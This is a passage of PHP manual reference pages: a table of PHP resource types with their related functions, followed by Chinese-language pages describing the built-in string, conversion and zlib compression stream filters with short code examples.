fbsql plink | fbsql_change_user(), fbsql_pconnect() | fbsql_autocommit(), fbsql_change_user(), fbsql_create_db(), fbsql_data_seek(), fbsql_db_query(), fbsql_drop_db(), fbsql_select_db(), fbsql_errno(), fbsql_error(), fbsql_insert_id(), fbsql_list_dbs() | None | Persistent link to fbsql database
fbsql result | fbsql_db_query(), fbsql_list_dbs(), fbsql_query(), fbsql_list_fields(), fbsql_list_tables(), fbsql_tablename() | fbsql_affected_rows(), fbsql_fetch_array(), fbsql_fetch_assoc(), fbsql_fetch_field(), fbsql_fetch_lengths(), fbsql_fetch_object(), fbsql_fetch_row(), fbsql_field_flags(), fbsql_field_name(), fbsql_field_len(), fbsql_field_seek(), fbsql_field_table(), fbsql_field_type(), fbsql_next_result(), fbsql_num_fields(), fbsql_num_rows(), fbsql_result(), fbsql_num_rows() | fbsql_free_result() | fbsql result
fdf | fdf_open() | fdf_create(), fdf_save(), fdf_get_value(), fdf_set_value(), fdf_next_field_name(), fdf_set_ap(), fdf_set_status(), fdf_get_status(), fdf_set_file(), fdf_get_file(), fdf_set_flags(), fdf_set_opt(), fdf_set_submit_form_action(), fdf_set_javascript_action() | fdf_close() | FDF File
ftp | ftp_connect(), ftp_ssl_connect() | ftp_login(), ftp_pwd(), ftp_cdup(), ftp_chdir(), ftp_mkdir(), ftp_rmdir(), ftp_nlist(), ftp_rawlist(), ftp_systype(), ftp_pasv(), ftp_get(), ftp_fget(), ftp_put(), ftp_fput(), ftp_size(), ftp_mdtm(), ftp_rename(), ftp_delete(), ftp_site(), ftp_alloc(), ftp_chmod(), ftp_exec(), ftp_get_option(), ftp_nb_continue(), ftp_nb_fget(), ftp_nb_fput(), ftp_nb_get(), ftp_nb_put(), ftp_raw(), ftp_set_option() | ftp_close() | FTP stream
gd | imagecreate(), imagecreatefromgd(), imagecreatefromgd2(), imagecreatefromgd2part(), imagecreatefromgif(), imagecreatefromjpeg(), imagecreatefrompng(), imagecreatefromwbmp(), imagecreatefromstring(), imagecreatefromxbm(), imagecreatefromxpm(), imagecreatetruecolor(), imagerotate() | imagearc(), imagechar(), imagecharup(), imagecolorallocate(), imagecolorat(), imagecolorclosest(), imagecolorexact(), imagecolorresolve(), imagegammacorrect(), imagegammacorrect(), imagecolorset(), imagecolorsforindex(), imagecolorstotal(), imagecolortransparent(), imagecopy(), imagecopyresized(), imagedashedline(), imagefill(), imagefilledpolygon(), imagefilledrectangle(), imagefilltoborder(), imagegif(), imagepng(), imagejpeg(), imagewbmp(), imageinterlace(), imageline(), imagepolygon(), imagepstext(), imagerectangle(), imagerotate(), imagesetpixel(), imagestring(), imagestringup(), imagesx(), imagesy(), imagettftext(), imagefilledarc(), imageellipse(), imagefilledellipse(), imagecolorclosestalpha(), imagecolorexactalpha(), imagecolorresolvealpha(), imagecopymerge(), imagecopymergegray(), imagecopyresampled(), imagetruecolortopalette(), imagesetbrush(), imagesettile(), imagesetthickness(), image2wbmp(), imagealphablending(), imageantialias(), imagecolorallocatealpha(), imagecolorclosesthwb(), imagecolordeallocate(), imagecolormatch(), imagefilter(), imagefttext(), imagegd(), imagegd2(), imageistruecolor(), imagelayereffect(), imagepalettecopy(), imagesavealpha(), imagesetstyle(), imagexbm() | imagedestroy() | GD Image
gd font | imageloadfont() | imagechar(), imagecharup(), imagefontheight() | None | Font for GD
gd PS encoding
gd PS font | imagepsloadfont() | imagepstext(), imagepsslantfont(), imagepsextendfont(), imagepsencodefont(), imagepsbbox() | imagepsfreefont() | PS font for GD
GMP integer | gmp_init() | gmp_intval(), gmp_strval(), gmp_add(), gmp_sub(), gmp_mul(), gmp_div_q(), gmp_div_r(), gmp_div_qr(), gmp_div(), gmp_mod(), gmp_divexact(), gmp_cmp(), gmp_neg(), gmp_abs(), gmp_sign(), gmp_fact(), gmp_sqrt(), gmp_sqrtrm(), gmp_perfect_square(), gmp_pow(), gmp_powm(), gmp_prob_prime(), gmp_gcd(), gmp_gcdext(), gmp_invert(), gmp_legendre(), gmp_jacobi(), gmp_random(), gmp_and(), gmp_or(), gmp_xor(), gmp_setbit(), gmp_clrbit(), gmp_scan0(), gmp_scan1(), gmp_popcount(), gmp_hamdist() | None | GMP Number
hyperwave document | hw_cp(), hw_docbyanchor(), hw_getremote(), hw_getremotechildren() | hw_children(), hw_childrenobj(), hw_getparents(), hw_getparentsobj(), hw_getchildcoll(), hw_getchildcollobj(), hw_getremote(), hw_getsrcbydestobj(), hw_getandlock(), hw_gettext(), hw_getobjectbyquerycoll(), hw_getobjectbyquerycollobj(), hw_getchilddoccoll(), hw_getchilddoccollobj(), hw_getanchors(), hw_getanchorsobj(), hw_inscoll(), hw_pipedocument(), hw_unlock() | hw_deleteobject() | Hyperwave object
hyperwave link | hw_connect() | hw_children(), hw_childrenobj(), hw_cp(), hw_deleteobject(), hw_docbyanchor(), hw_docbyanchorobj(), hw_errormsg(), hw_edittext(), hw_error(), hw_getparents(), hw_getparentsobj(), hw_getchildcoll(), hw_getchildcollobj(), hw_getremote(), hw_getremotechildren(), hw_getsrcbydestobj(), hw_getobject(), hw_getandlock(), hw_gettext(), hw_getobjectbyquery(), hw_getobjectbyqueryobj(), hw_getobjectbyquerycoll(), hw_getobjectbyquerycollobj(), hw_getchilddoccoll(), hw_getchilddoccollobj(), hw_getanchors(), hw_getanchorsobj(), hw_mv(), hw_incollections(), hw_info(), hw_inscoll(), hw_insdoc(), hw_insertdocument(), hw_insertobject(), hw_mapid(), hw_modifyobject(), hw_pipedocument(), hw_unlock(), hw_who(), hw_getusername() | hw_close(), hw_free_document() | Link to Hyperwave server
hyperwave link persistent | hw_pconnect() | hw_children(), hw_childrenobj(), hw_cp(), hw_deleteobject(), hw_docbyanchor(), hw_docbyanchorobj(), hw_errormsg(), hw_edittext(), hw_error(), hw_getparents(), hw_getparentsobj(), hw_getchildcoll(), hw_getchildcollobj(), hw_getremote(), hw_getremotechildren(), hw_getsrcbydestobj(), hw_getobject(), hw_getandlock(), hw_gettext(), hw_getobjectbyquery(), hw_getobjectbyqueryobj(), hw_getobjectbyquerycoll(), hw_getobjectbyquerycollobj(), hw_getchilddoccoll(), hw_getchilddoccollobj(), hw_getanchors(), hw_getanchorsobj(), hw_mv(), hw_incollections(), hw_info(), hw_inscoll(), hw_insdoc(), hw_insertdocument(), hw_insertobject(), hw_mapid(), hw_modifyobject(), hw_pipedocument(), hw_unlock(), hw_who(), hw_getusername() | None | Persistent link to Hyperwave server
icap | icap_open() | icap_fetch_event(), icap_list_events(), icap_store_event(), icap_snooze(), icap_list_alarms(), icap_delete_event() | icap_close() | Link to icap server
imap | imap_open() | imap_append(), imap_body(), imap_check(), imap_createmailbox(), imap_delete(), imap_deletemailbox(), imap_expunge(), imap_fetchbody(), imap_fetchstructure(), imap_headerinfo(), imap_header(), imap_headers(), imap_listmailbox(), imap_getmailboxes(), imap_get_quota(), imap_status(), imap_listsubscribed(), imap_set_quota(), imap_set_quota(), imap_getsubscribed(), imap_mail_copy(), imap_mail_move(), imap_num_msg(), imap_num_recent(), imap_ping(), imap_renamemailbox(), imap_reopen(), imap_subscribe(), imap_undelete(), imap_unsubscribe(), imap_scanmailbox(), imap_mailboxmsginfo(), imap_fetchheader(), imap_uid(), imap_msgno(), imap_search(), imap_fetch_overview() | imap_close() | Link to IMAP, POP3 server
imap chain persistent
imap persistent
ingres | ingres_connect() | ingres_query(), ingres_num_rows(), ingres_num_fields(), ingres_field_name(), ingres_field_type(), ingres_field_nullable(), ingres_field_length(), ingres_field_precision(), ingres_field_scale(), ingres_fetch_array(), ingres_fetch_row(), ingres_fetch_object(), ingres_rollback(), ingres_commit(), ingres_autocommit() | ingres_close() | Link to ingresII base
ingres persistent | ingres_pconnect() | ingres_query(), ingres_num_rows(), ingres_num_fields(), ingres_field_name(), ingres_field_type(), ingres_field_nullable(), ingres_field_length(), ingres_field_precision(), ingres_field_scale(), ingres_fetch_array(), ingres_fetch_row(), ingres_fetch_object(), ingres_rollback(), ingres_commit(), ingres_autocommit() | None | Persistent link to ingresII base
interbase blob
interbase link | ibase_connect() | ibase_query(), ibase_prepare(), ibase_trans() | ibase_close() | Link to Interbase database
interbase link persistent | ibase_pconnect() | ibase_query(), ibase_prepare(), ibase_trans() | None | Persistent link to Interbase database
interbase query | ibase_prepare() | ibase_execute() | ibase_free_query() | Interbase query
interbase result | ibase_query() | ibase_fetch_row(), ibase_fetch_object(), ibase_field_info(), ibase_num_fields() | ibase_free_result() | Interbase Result
interbase transaction | ibase_trans() | ibase_commit() | ibase_rollback() | Interbase transaction
java
ldap link | ldap_connect(), ldap_search() | ldap_count_entries(), ldap_first_attribute(), ldap_first_entry(), ldap_get_attributes(), ldap_get_dn(), ldap_get_entries(), ldap_get_values(), ldap_get_values_len(), ldap_next_attribute(), ldap_next_entry() | ldap_close() | ldap connection
ldap result | ldap_read() | ldap_add(), ldap_compare(), ldap_bind(), ldap_count_entries(), ldap_delete(), ldap_errno(), ldap_error(), ldap_first_attribute(), ldap_first_entry(), ldap_get_attributes(), ldap_get_dn(), ldap_get_entries(), ldap_get_values(), ldap_get_values_len(), ldap_get_option(), ldap_list(), ldap_modify(), ldap_mod_add(), ldap_mod_replace(), ldap_next_attribute(), ldap_next_entry(), ldap_mod_del(), ldap_set_option(), ldap_unbind() | ldap_free_result() | ldap search result
ldap result entry
mcal | mcal_open(), mcal_popen() | mcal_create_calendar(), mcal_rename_calendar(), mcal_rename_calendar(), mcal_delete_calendar(), mcal_fetch_event(), mcal_list_events(), mcal_append_event(), mcal_store_event(), mcal_delete_event(), mcal_list_alarms(), mcal_event_init(), mcal_event_set_category(), mcal_event_set_title(), mcal_event_set_description(), mcal_event_set_start(), mcal_event_set_end(), mcal_event_set_alarm(), mcal_event_set_class(), mcal_next_recurrence(), mcal_event_set_recur_none(), mcal_event_set_recur_daily(), mcal_event_set_recur_weekly(), mcal_event_set_recur_monthly_mday(), mcal_event_set_recur_monthly_wday(), mcal_event_set_recur_yearly(), mcal_fetch_current_stream_event(), mcal_event_add_attribute(), mcal_expunge() | mcal_close() | Link to calendar server
SWFAction
SWFBitmap
SWFButton
SWFDisplayItem
SWFFill
SWFFont
SWFGradient
SWFMorph
SWFMovie
SWFShape
SWFSprite
SWFText
SWFTextField
mnogosearch agent
mnogosearch result
msql link | msql_connect() | msql(), msql_create_db(), msql_createdb(), msql_drop_db(), msql_drop_db(), msql_select_db(), msql_select_db() | msql_close() | Link to mSQL database
msql link persistent | msql_pconnect() | msql(), msql_create_db(), msql_createdb(), msql_drop_db(), msql_drop_db(), msql_select_db(), msql_select_db() | None | Persistent link to mSQL
msql query | msql_db_query(), msql_list_dbs(), msql_list_fields(), msql_list_tables(), msql_query() | msql(), msql_affected_rows(), msql_data_seek(), msql_dbname(), msql_fetch_array(), msql_fetch_field(), msql_fetch_object(), msql_fetch_row(), msql_field_seek(), msql_field_table(), msql_field_flags(), msql_field_len(), msql_field_name(), msql_field_type(), msql_num_fields(), msql_num_rows(), msql_numfields(), msql_numrows(), msql_result() | msql_free_result(), msql_free_result() | mSQL result
mssql link | mssql_connect() | mssql_query(), mssql_select_db() | mssql_close() | Link to Microsoft SQL Server database
mssql link persistent | mssql_pconnect() | mssql_query(), mssql_select_db() | None | Persistent link to Microsoft SQL Server
mssql result | mssql_query() | mssql_data_seek(), mssql_fetch_array(), mssql_fetch_field(), mssql_fetch_object(), mssql_fetch_row(), mssql_field_length(), mssql_field_name(), mssql_field_seek(), mssql_field_type(), mssql_num_fields(), mssql_num_rows(), mssql_result() | mssql_free_result() | Microsoft SQL Server result
mysql link | mysql_connect() | mysql_affected_rows(), mysql_change_user(), mysql_create_db(), mysql_data_seek(), mysql_db_name(), mysql_db_query(), mysql_drop_db(), mysql_errno(), mysql_error(), mysql_insert_id(), mysql_list_dbs(), mysql_list_fields(), mysql_list_tables(), mysql_query(), mysql_result(), mysql_select_db(), mysql_tablename(), mysql_get_host_info(), mysql_get_proto_info(), mysql_get_server_info() | mysql_close() | Link to MySQL database
mysql link persistent | mysql_pconnect() | mysql_affected_rows(), mysql_change_user(), mysql_create_db(), mysql_data_seek(), mysql_db_name(), mysql_db_query(), mysql_drop_db(), mysql_errno(), mysql_error(), mysql_insert_id(), mysql_list_dbs(), mysql_list_fields(), mysql_list_tables(), mysql_query(), mysql_result(), mysql_select_db(), mysql_tablename(), mysql_get_host_info(), mysql_get_proto_info(), mysql_get_server_info() | None | Persistent link to MySQL database
mysql result | mysql_db_query(), mysql_list_dbs(), mysql_list_fields(), mysql_list_processes(), mysql_list_tables(), mysql_query(), mysql_unbuffered_query() | mysql_data_seek(), mysql_db_name(), mysql_fetch_array(), mysql_fetch_assoc(), mysql_fetch_field(), mysql_fetch_lengths(), mysql_fetch_object(), mysql_fetch_row(), mysql_fetch_row(), mysql_field_flags(), mysql_field_name(), mysql_field_len(), mysql_field_seek(), mysql_field_table(), mysql_field_type(), mysql_num_fields(), mysql_num_rows(), mysql_result(), mysql_tablename() | mysql_free_result() | MySQL result
oci8 collection
oci8 connection | ocilogon(), ociplogon(), ocinlogon() | ocicommit(), ociserverversion(), ocinewcursor(), ociparse(), ocierror() | ocilogoff() | Link to Oracle database
oci8 descriptor
oci8 server
oci8 session
oci8 statement | ocinewdescriptor() | ocirollback(), ocinewdescriptor(), ocirowcount(), ocidefinebyname(), ocibindbyname(), ociexecute(), ocinumcols(), ociresult(), ocifetch(), ocifetchinto(), ocifetchstatement(), ocicolumnisnull(), ocicolumnname(), ocicolumnsize(), ocicolumntype(), ocistatementtype(), ocierror() | ocifreestatement() | Oracle Cursor
odbc link | odbc_connect() | odbc_autocommit(), odbc_commit(), odbc_error(), odbc_errormsg(), odbc_exec(), odbc_tables(), odbc_tableprivileges(), odbc_do(), odbc_prepare(), odbc_columns(), odbc_columnprivileges(), odbc_procedurecolumns(), odbc_specialcolumns(), odbc_rollback(), odbc_setoption(), odbc_gettypeinfo(), odbc_primarykeys(), odbc_foreignkeys(), odbc_procedures(), odbc_statistics() | odbc_close() | Link to ODBC database
odbc link persistent | odbc_pconnect() | odbc_autocommit(), odbc_commit(), odbc_error(), odbc_errormsg(), odbc_exec(), odbc_tables(), odbc_tableprivileges(), odbc_do(), odbc_prepare(), odbc_columns(), odbc_columnprivileges(), odbc_procedurecolumns(), odbc_specialcolumns(), odbc_rollback(), odbc_setoption(), odbc_gettypeinfo(), odbc_primarykeys(), odbc_foreignkeys(), odbc_procedures(), odbc_statistics() | None | Persistent link to ODBC database
odbc result | odbc_prepare() | odbc_binmode(), odbc_cursor(), odbc_execute(), odbc_fetch_into(), odbc_fetch_row(), odbc_field_name(), odbc_field_num(), odbc_field_type(), odbc_field_len(), odbc_field_precision(), odbc_field_scale(), odbc_longreadlen(), odbc_num_fields(), odbc_num_rows(), odbc_result(), odbc_result_all(), odbc_setoption() | odbc_free_result() | ODBC result
birdstep link
birdstep result
OpenSSL key | openssl_get_privatekey(), openssl_get_publickey() | openssl_sign(), openssl_seal(), openssl_open(), openssl_verify() | openssl_free_key() | OpenSSL key
OpenSSL X.509 | openssl_x509_read() | openssl_x509_parse(), openssl_x509_checkpurpose() | openssl_x509_free() | Public Key
oracle Cursor | ora_open() | ora_bind(), ora_columnname(), ora_columnsize(), ora_columntype(), ora_error(), ora_errorcode(), ora_exec(), ora_fetch(), ora_fetch_into(), ora_getcolumn(), ora_numcols(), ora_numrows(), ora_parse() | ora_close() | Oracle cursor
oracle link | ora_logon() | ora_do(), ora_error(), ora_errorcode(), ora_rollback(), ora_commitoff(), ora_commiton(), ora_open(), ora_commit() | ora_logoff() | Link to oracle database
oracle link persistent | ora_plogon() | ora_do(), ora_error(), ora_errorcode(), ora_rollback(), ora_commitoff(), ora_commiton(), ora_open(), ora_commit() | None | Persistent link to oracle database
pdf document | pdf_new() | pdf_add_bookmark(), pdf_add_launchlink(), pdf_add_locallink(), pdf_add_note(), pdf_add_pdflink(), pdf_add_weblink(), pdf_arc(), pdf_attach_file(), pdf_begin_page(), pdf_circle(), pdf_clip(), pdf_closepath(), pdf_closepath_fill_stroke(), pdf_closepath_stroke(), pdf_concat(), pdf_continue_text(), pdf_curveto(), pdf_end_page(), pdf_endpath(), pdf_fill(), pdf_fill_stroke(), pdf_findfont(), pdf_get_buffer(), pdf_get_image_height(), pdf_get_image_width(), pdf_get_parameter(), pdf_get_value(), pdf_lineto(), pdf_moveto(), pdf_open_ccitt(), pdf_open_file(), pdf_open_image_file(), pdf_place_image(), pdf_rect(), pdf_restore(), pdf_rotate(), pdf_save(), pdf_scale(), pdf_setdash(), pdf_setflat(), pdf_setfont(), pdf_setgray(), pdf_setgray_fill(), pdf_setgray_stroke(), pdf_setlinecap(), pdf_setlinejoin(), pdf_setlinewidth(), pdf_setmiterlimit(), pdf_setpolydash(), pdf_setrgbcolor(), pdf_setrgbcolor_fill(), pdf_setrgbcolor_stroke(), pdf_set_border_color(), pdf_set_border_dash(), pdf_set_border_style(), pdf_set_char_spacing(), pdf_set_duration(), pdf_set_font(), pdf_set_horiz_scaling(), pdf_set_parameter(), pdf_set_text_pos(), pdf_set_text_rendering(), pdf_set_value(), pdf_set_word_spacing(), pdf_show(), pdf_show_boxed(), pdf_show_xy(), pdf_skew(), pdf_stringwidth(), pdf_stroke(), pdf_translate(), pdf_add_thumbnail(), pdf_arcn(), pdf_begin_pattern(), pdf_begin_template(), pdf_end_pattern(), pdf_end_template(), pdf_initgraphics(), pdf_makespotcolor(), pdf_set_info(), pdf_setcolor(), pdf_setmatrix(), pdf_open_memory_image() | pdf_close(), pdf_delete() | PDF document
pdf image | pdf_open_image(), pdf_open_image_file(), pdf_open_memory_image() | pdf_get_image_height(), pdf_get_image_width(), pdf_open_CCITT(), pdf_place_image() | pdf_close_image() | Image in PDF file
pdf object
pdf outline
pgsql large object | pg_lo_open() | pg_lo_open(), pg_lo_create(), pg_lo_read(), pg_lo_read_all(), pg_lo_seek(), pg_lo_tell(), pg_lo_unlink(), pg_lo_write() | pg_lo_close() | PostgreSQL Large Object
pgsql link | pg_connect() | pg_affected_rows(), pg_query(), pg_send_query(), pg_get_result(), pg_connection_busy(), pg_connection_reset(), pg_connection_status(), pg_last_error(), pg_last_notice(), pg_lo_create(), pg_lo_export(), pg_lo_import(), pg_lo_open(), pg_lo_unlink(), pg_host(), pg_port(), pg_dbname(), pg_options(), pg_copy_from(), pg_copy_to(), pg_end_copy(), pg_put_line(), pg_tty(), pg_trace(), pg_untrace(), pg_set_client_encoding(), pg_client_encoding(), pg_metadata(), pg_convert(), pg_insert(), pg_select(), pg_delete(), pg_update() | pg_close() | Link to PostgreSQL database
pgsql link persistent | pg_pconnect() | pg_affected_rows(), pg_query(), pg_send_query(), pg_get_result(), pg_connection_busy(), pg_connection_reset(), pg_connection_status(), pg_last_error(), pg_last_notice(), pg_lo_create(), pg_lo_export(), pg_lo_import(), pg_lo_open(), pg_lo_unlink(), pg_host(), pg_port(), pg_dbname(), pg_options(), pg_copy_from(), pg_copy_to(), pg_end_copy(), pg_put_line(), pg_tty(), pg_trace(), pg_untrace(), pg_set_client_encoding(), pg_client_encoding(), pg_metadata(), pg_convert(), pg_insert(), pg_select(), pg_delete(), pg_update() | None | Persistent link to PostgreSQL database
pgsql result | pg_execute(), pg_query(), pg_query_params(), pg_get_result() | pg_fetch_array(), pg_fetch_object(), pg_fetch_result(), pg_fetch_row(), pg_field_is_null(), pg_field_name(), pg_field_num(), pg_field_prtlen(), pg_field_size(), pg_field_type(), pg_last_oid(), pg_num_fields(), pg_num_rows(), pg_result_error(), pg_result_status() | pg_free_result() | PostgreSQL result
pgsql string
printer
printer brush
printer font
printer pen
pspell | pspell_new(), pspell_new_config(), pspell_new_personal() | pspell_add_to_personal(), pspell_add_to_session(), pspell_check(), pspell_clear_session(), pspell_config_ignore(), pspell_config_mode(), pspell_config_personal(), pspell_config_repl(), pspell_config_runtogether(), pspell_config_save_repl(), pspell_save_wordlist(), pspell_store_replacement(), pspell_suggest() | None | pspell dictionary
pspell config | pspell_config_create() | pspell_new_config() | None | pspell configuration
Sablotron XSLT | xslt_create() | xslt_closelog(), xslt_openlog(), xslt_run(), xslt_set_sax_handler(), xslt_errno(), xslt_error(), xslt_fetch_result(), xslt_free() | xslt_free() | XSLT parser
shmop | shmop_open() | shmop_read(), shmop_write(), shmop_size(), shmop_delete() | shmop_close()
sockets file descriptor set | socket() | accept_connect(), bind(), connect(), listen(), read(), write() | close() | Socket
sockets i/o vector
stream | opendir() | readdir(), rewinddir() | closedir() | Dir handle
stream | fopen(), tmpfile() | feof(), fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), flock(), fpassthru(), fputs(), fwrite(), fread(), fseek(), ftell(), fstat(), ftruncate(), set_file_buffer(), rewind() | fclose() | File handle
stream | popen(), fsockopen(), pfsockopen() | feof(), fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), fpassthru(), fputs(), fwrite(), fread() | pclose() | Process handle
socket | fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), fpassthru(), fputs(), fwrite(), fread() | fclose() | Socket handle
sybase-db link | sybase_connect() | sybase_query(), sybase_select_db() | sybase_close() | Link to Sybase database using DB library
sybase-db link persistent | sybase_pconnect() | sybase_query(), sybase_select_db() | None | Persistent link to Sybase database using DB library
sybase-db result | sybase_query() | sybase_data_seek(), sybase_fetch_array(), sybase_fetch_field(), sybase_fetch_object(), sybase_fetch_row(), sybase_field_seek(), sybase_num_fields(), sybase_num_rows(), sybase_result() | sybase_free_result() | Sybase result using DB library
sybase-ct link | sybase_connect() | sybase_affected_rows(), sybase_query(), sybase_select_db() | sybase_close() | Link to Sybase database using CT library
sybase-ct link persistent | sybase_pconnect() | sybase_affected_rows(), sybase_query(), sybase_select_db() | None | Persistent link to Sybase database using CT library
sybase-ct result | sybase_query() | sybase_data_seek(), sybase_fetch_array(), sybase_fetch_field(), sybase_fetch_object(), sybase_fetch_row(), sybase_field_seek(), sybase_num_fields(), sybase_num_rows(), sybase_result() | sybase_free_result() | Sybase result using CT library
sysvsem | sem_get() | sem_acquire() | sem_release() | System V Semaphore
sysvshm | shm_attach() | shm_remove(), shm_put_var(), shm_get_var(), shm_remove_var() | shm_detach() | System V Shared Memory
wddx | wddx_packet_start() | wddx_add_vars() | wddx_packet_end() | WDDX packet
xml | xml_parser_create(), xml_parser_create_ns() | xml_set_object(), xml_set_element_handler(), xml_set_character_data_handler(), xml_set_processing_instruction_handler(), xml_set_default_handler(), xml_set_unparsed_entity_decl_handler(), xml_set_notation_decl_handler(), xml_set_external_entity_ref_handler(), xml_parse(), xml_get_error_code(), xml_error_string(), xml_get_current_line_number(), xml_get_current_column_number(), xml_get_current_byte_index(), xml_parse_into_struct(), xml_parser_set_option(), xml_parser_get_option() | xml_parser_free() | XML parser
zlib | gzopen() | gzeof(), gzgetc(), gzgets(), gzgetss(), gzpassthru(), gzputs(), gzread(), gzrewind(), gzseek(), gztell(), gzwrite() | gzclose() | gz-compressed file

User Contributed Notes

csaba at alum dot mit dot edu 06-Nov-2009 10:25
On my PHP 5.2 under Windows Vista, the resource type listed as interbase link is actually Firebird/InterBase link
ian at eiloart dot comNOSPAM 08-Aug-2001 03:02
Actually, the ldap functions don't return or expect to be passed resources at all. So you can use an integer, and is_resource and get_resource_type aren't any use with ldap.


可用过滤器列表

Table of Contents

  • 字符串过滤器
  • 转换过滤器
  • 压缩过滤器
  • 加密过滤器

下面列出了用在 stream_filter_append()中的几个内置的流过滤器。用户的 PHP 版本中的过滤器也许比这里列出的更多（或更少）。

值得指出 stream_filter_append()与 stream_filter_prepend()之间有少许不平衡。每个 PHP 流都含有一个小的 读取缓冲区，它存储了来自文件系统或其它资源的几段数据以便更有效率地处理。数据一从资源进入流的内部缓冲区，立刻被附上的过滤器处理而不管 PHP 程序是否真的已经准备好接收数据。当过滤器是 appended时如果数据等待在读取缓冲区，数据将被立即通过过滤器处理，使其效果看上去是透明的。然而当过滤器是 prepended时如果数据等待在读取缓冲区，数据将 不会被该过滤器处理。该数据将会等到从资源取得下一段数据后才会被处理。

用 stream_get_filters()来列出 PHP 中已安装的过滤器。

User Contributed Notes

There are no user contributed notes for this page.


字符串过滤器

每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。对于指定过滤器的更多信息，请参考该函数的手册页。

string.rot13（自 PHP 4.3.0 起）使用此过滤器等同于用 str_rot13()函数处理所有的流数据。

Example #1 string.rot13

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
fwrite($fp, "This is a test.\n");
/* Outputs:  Guvf vf n grfg.   */
?>

string.toupper（自 PHP 5.0.0 起）使用此过滤器等同于用 strtoupper()函数处理所有的流数据。

Example #2 string.toupper

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.\n");
/* Outputs:  THIS IS A TEST.   */
?>

string.tolower（自 PHP 5.0.0 起）使用此过滤器等同于用 strtolower()函数处理所有的流数据。

Example #3 string.tolower

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.\n");
/* Outputs:  this is a test.   */
?>

string.strip_tags（自 PHP 5.0.0 起）使用此过滤器等同于用 strip_tags()函数处理所有的流数据。可以用两种格式接收参数：一种是和 strip_tags()函数第二个参数相似的一个包含有标记列表的字符串，一种是一个包含有标记名的数组。

Example #4 string.strip_tags

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */
?>

User Contributed Notes

There are no user contributed notes for this page.


转换过滤器

如同 string.* 过滤器，convert.* 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息，请参考该函数的手册页。

convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。 convert.base64-encode支持以一个关联数组给出的参数。如果给出了 line-length，base64 输出将被用 line-length个字符为 长度而截成块。如果给出了 line-break-chars，每块将被用给出的字符隔开。这些参数的效果和用 base64_encode()再加上 chunk_split()相同。

Example #1 convert.base64-encode & convert.base64-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs:  VGhpcyBpcyBhIHRlc3QuCg==  */

$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs:  VGhpcyBp
          :  cyBhIHRl
          :  c3QuCg==  */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs:  This is a test.  */
?>

convert.quoted-printable-encode和 convert.quoted-printable-decode使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。 convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和 convert.base64-encode一样的附加参数外， convert.quoted-printable-encode还支持布尔参数 binary和 force-encode-first。 convert.base64-decode只支持 line-break-chars参数作为从编码载荷中剥离的类型提示。

Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs:  =This is a test.=0A  */
?>

User Contributed Notes

There are no user contributed notes for this page.


压缩过滤器

虽然 压缩封装协议提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法，但不代表可以在网络的流中提供通用压缩的意思，也不代表可以将一个非压缩的流转换成一个压缩流。对此，压缩过滤器可以在任何时候应用于任何流资源。

Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

zlib.deflate（压缩）和 zlib.inflate（解压）实现了定义与 » RFC 1951的压缩算法。 deflate过滤器可以接受以一个关联数组传递的最多三个参数。 level定义了压缩强度（1-9）。数字更高通常会产生更小的载荷，但要消耗更多的处理时间。存在两个特殊压缩等级：0（完全不压缩）和 -1（zlib 内部默认值，目前是 6）。 window是压缩回溯窗口大小，以二的次方表示。更高的值（大到 15 —— 32768 字节）产生更好的压缩效果但消耗更多内存，低的值（低到 9 —— 512 字节）产生产生较差的压缩效果但内存消耗低。目前默认的 window大小是 15。 memory用来指示要分配多少工作内存。合法的数值范围是从 1（最小分配）到 9（最大分配）。内存分配仅影响速度，不会影响生成的载荷的大小。

Note: 因为最常用的参数是压缩等级，也可以提供一个整数值作为此参数（而不用数组）。

zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用，在激活 zlib的前提下。也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用。

Example #1 zlib.deflate和 zlib.inflate

<?php
$params = array('level' => 6, 'window' => 15, 'memory' => 9);

$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is " . strlen($original_text) . " characters long.\n";

$fp = fopen('test.deflated', 'w');
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);
